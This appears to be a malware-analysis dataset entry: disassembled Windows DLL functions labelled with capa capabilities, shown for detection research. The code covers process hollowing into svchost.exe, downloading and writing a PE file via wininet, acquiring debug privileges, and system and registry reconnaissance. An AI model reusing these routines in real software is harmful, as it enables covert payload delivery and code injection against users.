joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003f70
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push esi
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov ebx, eax
mov eax, dword [esi + 0x64]
cmp eax, 3
je 0x10004058
lea edi, [esi + 0x15c]
push edi
call fcn.10002bc0
mov ecx, dword [esi + 0x64]
cmp ecx, 1
je 0x10003fa8
mov edx, dword [esi + 0x64]
test edx, edx
jne 0x10004052
mov dword [esi + 0x64], 2
mov dword [edi], 0
mov eax, ebx
call fcn.10004170
mov eax, dword [esi + 0x60]
test eax, eax
je 0x10003fe3
cmp dword [esi + 0x3c], 0
je 0x10003fdc
mov ecx, dword [esi + 0x40]
push 0
push 0x10
push 0x1002fb58
push ecx
call dword [sym.imp.WS2_32.dll_send]
mov dword [esi + 0x60], 0
cmp dword [esi + 0x30], 0
je 0x1000400b
mov edx, dword [esi + 0x48]
push edx
call fcn.10002c90
mov eax, dword [esi + 4]
add esp, 4
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0
lea ecx, [esi + 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [esi + 0x44]
test eax, eax
je 0x10004020
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 0x44], 0
mov eax, dword [esi + 0x40]
cmp eax, 0xffffffff
je 0x10004042
push 1
push eax
call dword [sym.imp.WS2_32.dll_shutdown]
mov edx, dword [esi + 0x40]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 0x40], 0xffffffff
mov edi, esi
call fcn.10004070
pop edi
pop esi
mov eax, 1
pop ebx
ret
mov dword [edi], 0
push 0x139f
mov dword [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_SetLastError]
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x10004440
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 4]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x264]
push ecx
call edi
call dword [sym.imp.WINMM.dll_timeGetTime]
push 0
lea ebx, [esi + 0x18]
push ebx
mov dword [esi + 0x14], eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor eax, eax
mov dword [esi + 0x20], eax
mov dword [esi + 0x24], eax
mov word [esi + 0x28], ax
mov ecx, dword [esi + 0x64]
mov edx, dword [esi + 0x14]
mov eax, dword [esi + 0x18]
mov dword [esi + 0x20], edx
mov dword [esi + 0x24], eax
mov word [esi + 0x28], 0xca
cmp ecx, 3
je 0x100044a0
mov eax, esi
call fcn.10003f70
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
mov eax, esi
call fcn.10003510
mov ecx, dword [esi + 0x264]
push 0x1770
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x100044f9
cmp eax, 0x102
je 0x100044e5
cmp eax, 0xffffffff
jne 0x100044ee
mov edx, dword [esi + 0x264]
push edx
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
mov eax, dword [esi + 0x264]
push eax
call edi
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 8
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ecx, dword [esi + 0x264]
push ecx
call edi
lea edx, [ebp - 4]
push edx
push 0
push esi
push 0x10004540
push 0
push 0
call fcn.100134a5
add esp, 0x18
pop edi
mov dword [esi + 0x268], eax
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x10005bd0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x228
lea eax, [ebp - 0x22c]
push 0
push eax
mov dword [ebp - 0x230], 0
call fcn.10015af0
add esp, 0xc
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10005c26
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
push ebx
lea ecx, [ebp - 0x230]
push ecx
push esi
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x10005c95
mov ebx, dword [sym.imp.KERNEL32.dll_Process32NextW]
lea esp, [esp]
mov ecx, edi
lea eax, [ebp - 0x20c]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x10005c7e
test dx, dx
je 0x10005c7a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x10005c7e
add eax, 4
add ecx, 4
test dx, dx
jne 0x10005c58
xor eax, eax
jmp 0x10005c83
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10005cae
lea edx, [ebp - 0x230]
push edx
push esi
call ebx
test eax, eax
jne 0x10005c50
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
xor eax, eax
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x228]
pop ebx
xor ecx, ebp
pop esi
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x10006010
Capabilities:
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x424
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
xor ecx, ecx
push 0x1fc
push ecx
lea edx, [ebp - 0x202]
push edx
mov dword [ebp - 0x410], eax
mov word [ebp - 0x204], cx
call fcn.10015af0
add esp, 0xc
lea eax, [ebp - 0x408]
push eax
push 0xf003f
push 0
push str.SoftwareTencentPluginVAS
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100061ae
push eax
push eax
lea ecx, [ebp - 0x424]
push ecx
lea edx, [ebp - 0x420]
push edx
lea eax, [ebp - 0x41c]
push eax
mov eax, dword [ebp - 0x408]
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x40c]
push edx
push 0
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
jne 0x100061f3
push ebx
mov ebx, dword [ebp - 0x40c]
push edi
mov edi, dword [ebp - 0x414]
inc edi
test ebx, ebx
je 0x100061ac
cmp edi, 1
jbe 0x100061ac
push esi
push 0x1fe
push eax
lea ecx, [ebp - 0x404]
push ecx
call fcn.10015af0
add esp, 0xc
xor esi, esi
test ebx, ebx
je 0x1000619e
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x10006100
push 0xff
lea edx, [ebp - 0x404]
push 0
push edx
call fcn.10015af0
mov edx, dword [ebp - 0x408]
add esp, 0xc
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x418]
push eax
lea ecx, [ebp - 0x404]
push ecx
push esi
push edx
mov dword [ebp - 0x418], edi
call ebx
lea eax, [ebp - 0x404]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0xc
jge 0x10006191
lea ecx, [ebp - 0x404]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 5
jle 0x10006191
lea edx, [ebp - 0x404]
push edx
lea eax, [ebp - 0x204]
push 0xff
push eax
call fcn.10013b4f
push 0x100304a8
lea ecx, [ebp - 0x204]
push 0xff
push ecx
call fcn.10013b4f
add esp, 0x18
inc esi
cmp esi, dword [ebp - 0x40c]
jb 0x10006100
mov edx, dword [ebp - 0x408]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop edi
pop ebx
lea eax, [ebp - 0x204]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 4
jle 0x100061f3
mov edx, dword [ebp - 0x410]
push 0xd6
lea ecx, [ebp - 0x204]
push ecx
push 0xd7
push edx
call fcn.100136b4
add esp, 0x10
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x10006210
Capabilities:
Enumerate devices by category

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
push edi
xor edi, edi
push edi
call dword [sym.imp.ole32.dll_CoInitialize]
lea eax, [ebp - 0x10]
push eax
push 0x1002f5f4
push 1
push edi
push 0x1002f5d4
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
je 0x10006244
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0
lea edx, [ebp - 4]
push edx
push 0x1002f5e4
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x1000623c
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x14]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
jne 0x100062fd
mov esi, dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
lea edx, [ebp - 0xc]
push edx
push 0x1002c510
push 0
push 0
push eax
mov eax, dword [ecx + 0x24]
call eax
test eax, eax
js 0x100062d9
mov eax, dword [ebp - 0xc]
mov ecx, 8
mov word [ebp - 0x28], cx
mov edx, dword [eax]
mov edx, dword [edx + 0xc]
push 0
lea ecx, [ebp - 0x28]
push ecx
push str.FriendlyName
push eax
call edx
test eax, eax
jne 0x100062ce
mov eax, dword [ebp - 0x20]
push eax
inc edi
call esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 0x14]
push edx
lea edx, [ebp - 8]
push edx
push 1
push eax
mov eax, dword [ecx + 0xc]
call eax
test eax, eax
je 0x10006288
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x100065f0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3c
mov edi, ecx
call fcn.10010c34
add esp, 4
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
lea eax, [edi + 0xca4]
push 0x100302e4
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
push esi
call fcn.10006490
push 0x11c
xor ebx, ebx
lea ecx, [ebp - 0x120]
push ebx
push ecx
call fcn.10015af0
add esp, 0x1c
lea edx, [ebp - 0x120]
push edx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x10006766
cmp dword [ebp - 0x110], 2
jne 0x10006766
cmp dword [ebp - 0x11c], 5
jbe 0x10006766
lea eax, [ebp - 0x124]
push eax
push 8
mov dword [ebp - 0x124], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10006766
mov edx, dword [ebp - 0x124]
lea ecx, [ebp - 0x128]
push ecx
push ebx
push ebx
push 0x19
push edx
mov dword [ebp - 0x128], ebx
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
jne 0x1000673b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x7a
jne 0x1000673b
mov eax, dword [ebp - 0x128]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x12c], eax
test eax, eax
je 0x1000673b
mov edx, dword [ebp - 0x128]
lea ecx, [ebp - 0x128]
push ecx
push edx
push eax
mov eax, dword [ebp - 0x124]
push 0x19
push eax
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x1000672e
mov ebx, dword [ebp - 0x12c]
mov ecx, dword [ebx]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthorityCount]
movzx edx, byte [eax]
mov eax, dword [ebx]
dec edx
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetSidSubAuthority]
mov ebx, dword [eax]
mov ecx, dword [ebp - 0x12c]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x124]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp ebx, 0x2000
ja 0x10006776
je 0x1000676e
test ebx, ebx
je 0x10006766
cmp ebx, 0x1000
jne 0x100067a4
push esi
push 0x100304e4
jmp 0x10006794
push esi
push str.None__s
jmp 0x10006794
push esi
push 0x100304f0
jmp 0x10006794
cmp ebx, 0x3000
je 0x1000678e
cmp ebx, 0x4000
jne 0x100067a4
push esi
push 0x10030508
jmp 0x10006794
push esi
push 0x100304fc
add edi, 0xa4c
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
test esi, esi
je 0x100067b1
push esi
call fcn.10013545
add esp, 4
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x100067d0
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
xor esi, esi
push edi
mov dword [ebp - 0x60], esi
mov dword [ebp - 0x64], esi
xor edi, edi
lea eax, [esi + 0x42]
mov word [ebp - 0x1c], ax
lea ecx, [ebp - 0x1c]
xor eax, eax
push ecx
mov dword [ebp - 0x1a], 0x5c003a
mov word [ebp - 0x16], ax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x10006850
lea edx, [ebp - 0x7c]
push edx
lea eax, [ebp - 0x74]
push eax
lea ecx, [ebp - 0x84]
push ecx
lea edx, [ebp - 0x1c]
push edx
inc edi
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov eax, dword [ebp - 0x74]
mov ecx, dword [ebp - 0x70]
mov edx, dword [ebp - 0x7c]
shrd eax, ecx, 0x1e
add dword [ebp - 0x60], eax
mov eax, dword [ebp - 0x78]
shrd edx, eax, 0x1e
shr ecx, 0x1e
shr eax, 0x1e
add dword [ebp - 0x64], edx
inc esi
cmp esi, 0x1a
jl 0x100067f3
push 0x40
lea ecx, [ebp - 0x5c]
push 0
push ecx
mov dword [ebp - 0x68], edi
call fcn.10015af0
add esp, 0xc
lea edx, [ebp - 0x5c]
push edx
mov dword [ebp - 0x5c], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x4c]
mov edi, dword [ebp - 0x48]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x50]
mov edx, dword [ebp - 0x64]
shrd esi, edi, 0x1e
shr edi, 0x1e
add esi, 1
adc edi, 0
shrd eax, ecx, 0x1e
shr ecx, 0x1e
add eax, 1
adc ecx, 0
push ecx
mov ecx, dword [ebp - 0x68]
push eax
mov eax, dword [ebp - 0x60]
push edx
push eax
push ecx
push str.HDD:_d
push 0xc8
push ebx
call fcn.100132d4
push edi
push esi
push ebx
push str._sFree_d_Gb
push 0xc8
push ebx
call fcn.100132d4
mov ecx, dword [ebp - 8]
add esp, 0x38
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x100068f0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x10032b78
push 0x1001b7a0
mov eax, dword fs:[0]
push eax
sub esp, 0x228
mov eax, dword [0x100357ec]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, edx
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x230], 1
mov dword [ebp - 0x234], SysReAllocString
mov dword [ebp - 0x228], 0
push 0x208
push 0
lea eax, [ebp - 0x224]
push eax
call fcn.10015af0
add esp, 0xc
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x22c]
push ecx
push 0x20019
push 0
push esi
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x10006992
mov dword [ebp - 0x228], 0xffffffff
jmp 0x10006a0e
mov eax, dword [ebp - 0x230]
test eax, eax
je 0x10006a0e
cmp eax, 2
ja 0x10006a0e
mov dword [ebp - 0x238], 0x208
lea edx, [ebp - 0x238]
push edx
lea eax, [ebp - 0x224]
push eax
lea ecx, [ebp - 0x230]
push ecx
push 0
push edi
mov edx, dword [ebp - 0x22c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10006a04
push 0x100302e0
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10006986
lea ecx, [ebp - 0x224]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [ebp - 0x228], 1
jmp 0x10006a0e
mov dword [ebp - 0x228], 0
mov dword [ebp - 4], 0xfffffffe
call fcn.10006a3c
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x10007010
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x1000711e
push str.RtlGetNtVersionNumbers
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x10007117
push esi
push edi
lea ecx, [ebp - 8]
push ecx
lea edx, [ebp - 0xc]
push edx
lea ecx, [ebp - 0x10]
push ecx
call eax
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov ecx, dword [ebp + 8]
and eax, 0xffff
push eax
push edx
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x10]
push eax
push str._d._d._d
push 0x1e
push ecx
call fcn.100132d4
xor ecx, ecx
mov eax, 0xca
mov dword [ebp - 0x14], eax
mov edx, 2
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10010c34
add esp, 0x1c
mov esi, eax
mov dword [ebp - 0x18], 1
call fcn.10006f90
test eax, eax
je 0x100070b2
lea eax, [ebp - 4]
push eax
push 0x20119
jmp 0x100070bb
lea ecx, [ebp - 4]
push ecx
push 0x20019
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersion
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
push esi
mov edi, eax
lea eax, [ebp - 0x18]
push eax
push 0
push str.ProductName
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x10007102
test edi, edi
jne 0x10007102
mov edx, dword [ebp + 0xc]
push 0x31
push esi
push 0x32
push edx
call fcn.100136b4
add esp, 0x10
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push esi
call fcn.10013545
add esp, 4
pop edi
pop esi
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x100071a0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x18]
push eax
push 0x20
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10007207
lea ecx, [ebp - 0x10]
push ecx
push str.SeDebugPrivilege
push 0
mov dword [ebp - 0x14], 1
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov eax, dword [ebp - 0x18]
push 0
push 0
push 0x10
lea edx, [ebp - 0x14]
push edx
push 0
push eax
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.NtSetInformationProcess
push str.NtDll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
test esi, esi
jne 0x10007233
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
mov dword [ebp - 0x1c], 1
call sub.KERNEL32.dll_GetCurrentProcessId
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 4
lea edx, [ebp - 0x1c]
push edx
push 0x1d
push eax
call esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
mov eax, 1
pop esi
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x100072c0
Capabilities:
Acquire debug privileges

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x18]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x100072fa
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x20]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
test eax, eax
je 0x100072e7
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
push 0
push 0
push 0x10
lea ecx, [ebp - 0x14]
push ecx
mov dword [ebp - 0x10], edx
mov edx, dword [ebp - 0x18]
push 0
push edx
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ecx, dword [ebp - 4]
neg eax
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x10007800
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x10007890
test esi, esi
je 0x1000787d
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x10007872
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x1000797f
jmp 0x100078f0
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.10015af0
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x1000793c
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x1000796b
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x100078f0
jmp 0x10007972
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x100079ae
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
Function at 0x100079d0
Capabilities:
Allocate or change rwx memory
Check if file exists
Create process on windows
Create process suspended
Get common file path
Get file attributes
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x434
mov eax, dword [0x100357ec]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
mov ebx, dword [ebp + 8]
push edi
push 0x44
lea eax, [ebp - 0x434]
push 0
push eax
call fcn.10015af0
xor eax, eax
push 0x2cc
push eax
lea ecx, [ebp - 0x3dc]
push ecx
mov dword [ebp - 0x3ec], eax
mov dword [ebp - 0x3e8], eax
mov dword [ebp - 0x3e4], eax
mov dword [ebp - 0x3e0], eax
call fcn.10015af0
xor edx, edx
push 0xfe
push edx
lea eax, [ebp - 0x10b]
push eax
mov dword [ebp - 0x434], 0x44
mov dword [ebp - 0x408], 1
mov word [ebp - 0x404], dx
mov byte [ebp - 0x10c], dl
call fcn.10015af0
add esp, 0x24
push 0xff
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push str.WindowsSysWOW64_svchost.exe
lea edx, [ebp - 0x10c]
push edx
push 0x100306f4
mov byte [ebp - 0x109], 0
call fcn.100082e0
add esp, 0xc
lea eax, [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x10007ac2
lea ecx, [ebp - 0x10c]
push str.WindowsSystem32_svchost.exe
push ecx
push 0x100306f4
mov edx, ecx
mov byte [ebp - 0x109], 0
call fcn.100082e0
add esp, 0xc
lea edx, [ebp - 0x3ec]
push edx
lea eax, [ebp - 0x434]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea ecx, [ebp - 0x10c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x10007b01
xor al, al
pop edi
pop ebx
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.10012a2e
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 0x3ec]
push 0x40
push 0x3000
push esi
push 0
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
test edi, edi
je 0x10007aef
mov eax, dword [ebp - 0x3ec]
push 0
push esi
push ebx
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x10007aef
mov edx, dword [ebp - 0x3e8]
lea ecx, [ebp - 0x3dc]
push ecx
push edx
mov dword [ebp - 0x3dc], 0x10007
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x10007aef
mov ecx, dword [ebp - 0x3e8]
lea eax, [ebp - 0x3dc]
push eax
push ecx
mov dword [ebp - 0x324], edi
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x10007aef
mov edx, dword [ebp - 0x3e8]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov ecx, dword [ebp - 8]
pop edi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.10012a2e
mov esp, ebp
pop ebp
ret